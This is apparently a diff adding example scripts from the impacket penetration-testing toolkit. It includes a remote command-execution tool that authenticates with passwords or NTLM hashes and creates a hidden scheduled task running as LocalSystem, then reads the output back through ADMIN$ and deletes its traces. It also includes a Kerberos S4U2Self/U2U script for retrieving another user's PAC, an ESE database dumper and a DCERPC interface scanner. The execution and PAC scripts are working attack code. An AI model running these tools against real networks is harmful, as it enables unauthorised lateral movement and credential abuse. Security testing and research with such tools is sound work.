logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work')
|
||||
|
||||
def doStuff(self, rpctransport):
|
||||
def output_callback(data):
|
||||
print data
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tmpName = ''.join([random.choice(string.letters) for _ in range(8)])
|
||||
tmpFileName = tmpName + '.tmp'
|
||||
|
||||
xml = """<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<Triggers>
|
||||
<CalendarTrigger>
|
||||
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
<ScheduleByDay>
|
||||
<DaysInterval>1</DaysInterval>
|
||||
</ScheduleByDay>
|
||||
</CalendarTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
<UserId>S-1-5-18</UserId>
|
||||
<RunLevel>HighestAvailable</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="LocalSystem">
|
||||
<Exec>
|
||||
<Command>cmd.exe</Command>
|
||||
<Arguments>/C %s > %%windir%%\\Temp\\%s 2>&1</Arguments>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
""" % (self.__command, tmpFileName)
|
||||
taskCreated = False
|
||||
try:
|
||||
logging.info('Creating task \\%s' % tmpName)
|
||||
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
taskCreated = True
|
||||
|
||||
logging.info('Running task \\%s' % tmpName)
|
||||
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
|
||||
if resp['pLastRuntime']['wYear'] != 0:
|
||||
done = True
|
||||
else:
|
||||
time.sleep(2)
|
||||
|
||||
logging.info('Deleting task \\%s' % tmpName)
|
||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
taskCreated = False
|
||||
except tsch.DCERPCSessionError, e:
|
||||
logging.error(e)
|
||||
e.get_packet().dump()
|
||||
finally:
|
||||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
|
||||
smbConnection = rpctransport.get_smb_connection()
|
||||
waitOnce = True
|
||||
while True:
|
||||
try:
|
||||
logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
|
||||
break
|
||||
except Exception, e:
|
||||
if str(e).find('SHARING') > 0:
|
||||
time.sleep(3)
|
||||
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||
if waitOnce is True:
|
||||
# We're giving it the chance to flush the file before giving up
|
||||
time.sleep(3)
|
||||
waitOnce = False
|
||||
else:
|
||||
raise
|
||||
else:
|
||||
raise
|
||||
logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
print version.BANNER
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
|
||||
logging.warning("This will work ONLY on Windows >= Vista")
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('command', action='store', nargs='*', default = ' ', help='command to execute at the target ')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. '
|
||||
'If ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip,
|
||||
' '.join(options.command))
|
||||
atsvc_exec.play(address)
|
||||
@@ -0,0 +1,114 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description:
|
||||
# ESE utility. Allows dumping catalog, pages and tables.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
#
|
||||
# Reference for:
|
||||
# Extensive Storage Engine (ese)
|
||||
#
|
||||
|
||||
import sys
|
||||
import logging
|
||||
import argparse
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket.ese import ESENT_DB
|
||||
|
||||
|
||||
def dumpPage(ese, pageNum):
|
||||
data = ese.getPage(pageNum)
|
||||
data.dump()
|
||||
|
||||
def exportTable(ese, tableName):
|
||||
cursor = ese.openTable(tableName)
|
||||
if cursor is None:
|
||||
logging.error('Can"t get a cursor for table: %s' % tableName)
|
||||
return
|
||||
|
||||
i = 1
|
||||
print "Table: %s" % tableName
|
||||
while True:
|
||||
try:
|
||||
record = ese.getNextRow(cursor)
|
||||
except:
|
||||
logging.error('Error while calling getNextRow(), trying the next one')
|
||||
continue
|
||||
|
||||
if record is None:
|
||||
break
|
||||
print "*** %d" % i
|
||||
for j in record.keys():
|
||||
if record[j] is not None:
|
||||
print "%-30s: %r" % (j, record[j])
|
||||
i += 1
|
||||
|
||||
def main():
|
||||
print version.BANNER
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping "
|
||||
"catalog, pages and tables.")
|
||||
parser.add_argument('databaseFile', action='store', help='ESE to open')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
parser.add_argument('-page', action='store', help='page to open')
|
||||
|
||||
subparsers = parser.add_subparsers(help='actions', dest='action')
|
||||
|
||||
# dump page
|
||||
dump_parser = subparsers.add_parser('dump', help='dumps an specific page')
|
||||
dump_parser.add_argument('-page', action='store', required=True, help='page to dump')
|
||||
|
||||
# info page
|
||||
subparsers.add_parser('info', help='dumps the catalog info for the DB')
|
||||
|
||||
# export page
|
||||
export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB')
|
||||
export_parser.add_argument('-table', action='store', required=True, help='table to dump')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
ese = ESENT_DB(options.databaseFile)
|
||||
|
||||
try:
|
||||
if options.action.upper() == 'INFO':
|
||||
ese.printCatalog()
|
||||
elif options.action.upper() == 'DUMP':
|
||||
dumpPage(ese, int(options.page))
|
||||
elif options.action.upper() == 'EXPORT':
|
||||
exportTable(ese, options.table)
|
||||
else:
|
||||
logging.error('Unknown action %s ' % options.action)
|
||||
raise
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
print e
|
||||
ese.close()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,332 @@
|
||||
#!/usr/bin/python
|
||||
# Copyright (c) 2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# This script will get the PAC of the specified target user just having a normal authenticated user credentials.
|
||||
# It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication.
|
||||
# Original idea (or accidental discovery :) ) of adding U2U capabilities inside a S4USelf by Benjamin Delpy (@gentilkiwi)
|
||||
#
|
||||
# References:
|
||||
#
|
||||
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
|
||||
# [MS-SFU]: https://msdn.microsoft.com/en-us/library/cc246071.aspx
|
||||
|
||||
import argparse
|
||||
import datetime
|
||||
import logging
|
||||
import random
|
||||
import re
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
|
||||
from impacket.examples import logger
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
|
||||
EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
|
||||
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, Enctype
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
|
||||
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \
|
||||
PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
from impacket.winregistry import hexdump
|
||||
|
||||
|
||||
class S4U2SELF:
|
||||
|
||||
def printPac(self, data):
|
||||
encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
|
||||
adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[
|
||||
0]
|
||||
# So here we have the PAC
|
||||
pacType = PACTYPE(str(adIfRelevant[0]['ad-data']))
|
||||
buff = pacType['Buffers']
|
||||
|
||||
for bufferN in range(pacType['cBuffers']):
|
||||
infoBuffer = PAC_INFO_BUFFER(buff)
|
||||
data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
print "TYPE 0x%x" % infoBuffer['ulType']
|
||||
if infoBuffer['ulType'] == 1:
|
||||
type1 = TypeSerialization1(data)
|
||||
# I'm skipping here 4 bytes with its the ReferentID for the pointer
|
||||
newdata = data[len(type1)+4:]
|
||||
kerbdata = KERB_VALIDATION_INFO()
|
||||
kerbdata.fromString(newdata)
|
||||
kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):])
|
||||
kerbdata.dump()
|
||||
print
|
||||
print 'Domain SID:', kerbdata['LogonDomainId'].formatCanonical()
|
||||
print
|
||||
elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE:
|
||||
clientInfo = PAC_CLIENT_INFO(data)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
clientInfo.dump()
|
||||
print
|
||||
elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM:
|
||||
signatureData = PAC_SIGNATURE_DATA(data)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
signatureData.dump()
|
||||
print
|
||||
elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM:
|
||||
signatureData = PAC_SIGNATURE_DATA(data)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
signatureData.dump()
|
||||
print
|
||||
elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO:
|
||||
upn = UPN_DNS_INFO(data)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
upn.dump()
|
||||
print data[upn['DnsDomainNameOffset']:]
|
||||
print
|
||||
else:
|
||||
hexdump(data)
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
print "#"*80
|
||||
|
||||
buff = buff[len(infoBuffer):]
|
||||
|
||||
|
||||
def __init__(self, behalfUser, username = '', password = '', domain='', hashes = None):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain.upper()
|
||||
self.__behalfUser = behalfUser
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def dump(self, addr):
|
||||
# Try all requested protocols until one works.
|
||||
|
||||
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
|
||||
self.__lmhash.decode('hex'), self.__nthash.decode('hex'))
|
||||
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
|
||||
|
||||
# Extract the ticket from the TGT
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decodedTGT['ticket'])
|
||||
|
||||
apReq = AP_REQ()
|
||||
apReq['pvno'] = 5
|
||||
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = list()
|
||||
apReq['ap-options'] = constants.encodeFlags(opts)
|
||||
seq_set(apReq,'ticket', ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator['authenticator-vno'] = 5
|
||||
authenticator['crealm'] = str(decodedTGT['crealm'])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
|
||||
|
||||
seq_set(authenticator, 'cname', clientName.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator['cusec'] = now.microsecond
|
||||
authenticator['ctime'] = KerberosTime.to_asn1(now)
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('AUTHENTICATOR')
|
||||
print authenticator.prettyPrint()
|
||||
print ('\n')
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||
|
||||
apReq['authenticator'] = None
|
||||
apReq['authenticator']['etype'] = cipher.enctype
|
||||
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
|
||||
|
||||
encodedApReq = encoder.encode(apReq)
|
||||
|
||||
tgsReq = TGS_REQ()
|
||||
|
||||
tgsReq['pvno'] = 5
|
||||
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
|
||||
tgsReq['padata'] = None
|
||||
tgsReq['padata'][0] = None
|
||||
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgsReq['padata'][0]['padata-value'] = encodedApReq
|
||||
|
||||
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
|
||||
# requests a service ticket to itself on behalf of a user. The user is
|
||||
# identified to the KDC by the user's name and realm.
|
||||
clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
|
||||
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
S4UByteArray += self.__behalfUser + self.__domain + 'Kerberos'
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('S4UByteArray')
|
||||
hexdump(S4UByteArray)
|
||||
|
||||
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
|
||||
# with the following three parameters: the session key of the TGT of
|
||||
# the service performing the S4U2Self request, the message type value
|
||||
# of 17, and the byte array S4UByteArray.
|
||||
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('CheckSum')
|
||||
hexdump(checkSum)
|
||||
|
||||
paForUserEnc = PA_FOR_USER_ENC()
|
||||
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
|
||||
paForUserEnc['userRealm'] = self.__domain
|
||||
paForUserEnc['cksum'] = None
|
||||
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
|
||||
paForUserEnc['cksum']['checksum'] = checkSum
|
||||
paForUserEnc['auth-package'] = 'Kerberos'
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('PA_FOR_USER_ENC')
|
||||
print paForUserEnc.prettyPrint()
|
||||
|
||||
encodedPaForUserEnc = encoder.encode(paForUserEnc)
|
||||
|
||||
tgsReq['padata'][1] = None
|
||||
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
|
||||
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
|
||||
|
||||
reqBody = seq_set(tgsReq, 'req-body')
|
||||
|
||||
opts = list()
|
||||
opts.append( constants.KDCOptions.forwardable.value )
|
||||
opts.append( constants.KDCOptions.renewable.value )
|
||||
opts.append( constants.KDCOptions.renewable_ok.value )
|
||||
opts.append( constants.KDCOptions.canonicalize.value )
|
||||
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
|
||||
|
||||
reqBody['kdc-options'] = constants.encodeFlags(opts)
|
||||
|
||||
serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
|
||||
#serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
|
||||
seq_set(reqBody, 'sname', serverName.components_to_asn1)
|
||||
reqBody['realm'] = str(decodedTGT['crealm'])
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
reqBody['till'] = KerberosTime.to_asn1(now)
|
||||
reqBody['nonce'] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, 'etype',
|
||||
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
# If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('Final TGS')
|
||||
print tgsReq.prettyPrint()
|
||||
|
||||
message = encoder.encode(tgsReq)
|
||||
|
||||
r = sendReceive(message, self.__domain, None)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('TGS_REP')
|
||||
print tgs.prettyPrint()
|
||||
|
||||
cipherText = tgs['ticket']['enc-part']['cipher']
|
||||
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
||||
# application session key), encrypted with the service key
|
||||
# (section 5.4.2)
|
||||
|
||||
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
|
||||
|
||||
# Pass the hash/aes key :P
|
||||
if self.__nthash != '':
|
||||
key = Key(newCipher.enctype, self.__nthash.decode('hex'))
|
||||
else:
|
||||
if newCipher.enctype == Enctype.RC4:
|
||||
key = newCipher.string_to_key(password, '', None)
|
||||
else:
|
||||
key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None)
|
||||
|
||||
try:
|
||||
# If is was plain U2U, this is the key
|
||||
plainText = newCipher.decrypt(key, 2, str(cipherText))
|
||||
except:
|
||||
# S4USelf + U2U uses this other key
|
||||
plainText = cipher.decrypt(sessionKey, 2, str(cipherText))
|
||||
|
||||
self.printPac(plainText)
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
parser.add_argument('credentials', action='store', help='domain/username[:password]. Valid domain credentials to use '
|
||||
'for grabbing targetUser\'s PAC')
|
||||
parser.add_argument('-targetUser', action='store', required=True, help='the target user to retrieve the PAC of')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
# This is because I'm lazy with regex
|
||||
# ToDo: We need to change the regex to fullfil domain/username[:password]
|
||||
targetParam = options.credentials + '@'
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
targetParam).groups('')
|
||||
|
||||
# In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
try:
|
||||
dumper = S4U2SELF(options.targetUser, username, password, domain, options.hashes)
|
||||
dumper.dump(address)
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,360 @@
|
||||
#!/usr/bin/env python
|
||||
"""ifmap - scan for listening DCERPC interfaces
|
||||
|
||||
Usage: ifmap.py hostname port
|
||||
|
||||
First, this binds to the MGMT interface and gets a list of interface IDs. It
|
||||
adds to this a large list of interface UUIDs seen in the wild. It then tries to
|
||||
bind to each interface and reports whether the interface is listed and/or
|
||||
listening.
|
||||
|
||||
This will generate a burst of TCP connections to the given host:port!
|
||||
|
||||
Example:
|
||||
$ ./ifmap.py 10.0.0.30 135
|
||||
('00000136-0000-0000-C000-000000000046', '0.0'): listed, listening
|
||||
('000001A0-0000-0000-C000-000000000046', '0.0'): listed, listening
|
||||
('0B0A6584-9E0F-11CF-A3CF-00805F68CB1B', '1.0'): other version listed, listening
|
||||
('0B0A6584-9E0F-11CF-A3CF-00805F68CB1B', '1.1'): listed, listening
|
||||
('1D55B526-C137-46C5-AB79-638F2A68E869', '1.0'): listed, listening
|
||||
('412F241E-C12A-11CE-ABFF-0020AF6E7A17', '0.0'): other version listed, listening
|
||||
('412F241E-C12A-11CE-ABFF-0020AF6E7A17', '0.2'): listed, listening
|
||||
('4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57', '0.0'): listed, listening
|
||||
('99FCFEC4-5260-101B-BBCB-00AA0021347A', '0.0'): listed, listening
|
||||
('AFA8BD80-7D8A-11C9-BEF4-08002B102989', '1.0'): not listed, listening
|
||||
('B9E79E60-3D52-11CE-AAA1-00006901293F', '0.0'): other version listed, listening
|
||||
('B9E79E60-3D52-11CE-AAA1-00006901293F', '0.2'): listed, listening
|
||||
('C6F3EE72-CE7E-11D1-B71E-00C04FC3111A', '1.0'): listed, listening
|
||||
('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0'): listed, listening
|
||||
('E60C73E6-88F9-11CF-9AF1-0020AF6E72F4', '2.0'): listed, listening
|
||||
|
||||
Usually, only AFA8BD80-...-89, the MGMT interface, is not listed but always
|
||||
listening on any port. This is imposed by the DCERPC spec.
|
||||
|
||||
Author: Catalin Patulea <cat@vv.carleton.ca>
|
||||
"""
|
||||
import sys
|
||||
import struct
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5.epm import KNOWN_UUIDS
|
||||
from impacket.dcerpc.v5 import transport, rpcrt, epm
|
||||
from impacket.dcerpc.v5 import mgmt
|
||||
|
||||
uuid_database = set(uuid.string_to_uuidtup(line) for line in """
|
||||
00000001-0000-0000-c000-000000000046 v0.0
|
||||
00000131-0000-0000-c000-000000000046 v0.0
|
||||
00000132-0000-0000-c000-000000000046 v0.0
|
||||
00000134-0000-0000-c000-000000000046 v0.0
|
||||
00000136-0000-0000-c000-000000000046 v0.0
|
||||
00000141-0000-0000-c000-000000000046 v0.0
|
||||
00000143-0000-0000-c000-000000000046 v0.0
|
||||
000001a0-0000-0000-c000-000000000046 v0.0
|
||||
027947e1-d731-11ce-a357-000000000001 v0.0
|
||||
04fcb220-fcfd-11cd-bec8-00aa0047ae4e v1.0
|
||||
06bba54a-be05-49f9-b0a0-30f790261023 v1.0
|
||||
0767a036-0d22-48aa-ba69-b619480f38cb v1.0
|
||||
0a5a5830-58e0-11ce-a3cc-00aa00607271 v1.0
|
||||
0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 v1.0
|
||||
0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.0
|
||||
0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.1
|
||||
0b6edbfa-4a24-4fc6-8a23-942b1eca65d1 v1.0
|
||||
0c821d64-a3fc-11d1-bb7a-0080c75e4ec1 v1.0
|
||||
0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0
|
||||
0da5a86c-12c2-4943-30ab-7f74a813d853 v1.0
|
||||
0e4a0156-dd5d-11d2-8c2f-00c04fb6bcde v1.0
|
||||
1088a980-eae5-11d0-8d9b-00a02453c337 v1.0
|
||||
10f24e8e-0fa6-11d2-a910-00c04f990f3b v1.0
|
||||
11220835-5b26-4d94-ae86-c3e475a809de v1.0
|
||||
12345678-1234-abcd-ef00-0123456789ab v1.0
|
||||
12345678-1234-abcd-ef00-01234567cffb v1.0
|
||||
12345778-1234-abcd-ef00-0123456789ab v0.0
|
||||
12345778-1234-abcd-ef00-0123456789ac v1.0
|
||||
12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0
|
||||
12d4b7c8-77d5-11d1-8c24-00c04fa3080d v1.0
|
||||
12e65dd8-887f-41ef-91bf-8d816c42c2e7 v1.0
|
||||
130ceefb-e466-11d1-b78b-00c04fa32883 v2.0
|
||||
1453c42c-0fa6-11d2-a910-00c04f990f3b v1.0
|
||||
1544f5e0-613c-11d1-93df-00c04fd7bd09 v1.0
|
||||
16e0cf3a-a604-11d0-96b1-00a0c91ece30 v1.0
|
||||
16e0cf3a-a604-11d0-96b1-00a0c91ece30 v2.0
|
||||
17fdd703-1827-4e34-79d4-24a55c53bb37 v1.0
|
||||
18f70770-8e64-11cf-9af1-0020af6e72f4 v0.0
|
||||
1a9134dd-7b39-45ba-ad88-44d01ca47f28 v1.0
|
||||
1bddb2a6-c0c3-41be-8703-ddbdf4f0e80a v1.0
|
||||
1be617c0-31a5-11cf-a7d8-00805f48a135 v3.0
|
||||
1c1c45ee-4395-11d2-b60b-00104b703efd v0.0
|
||||
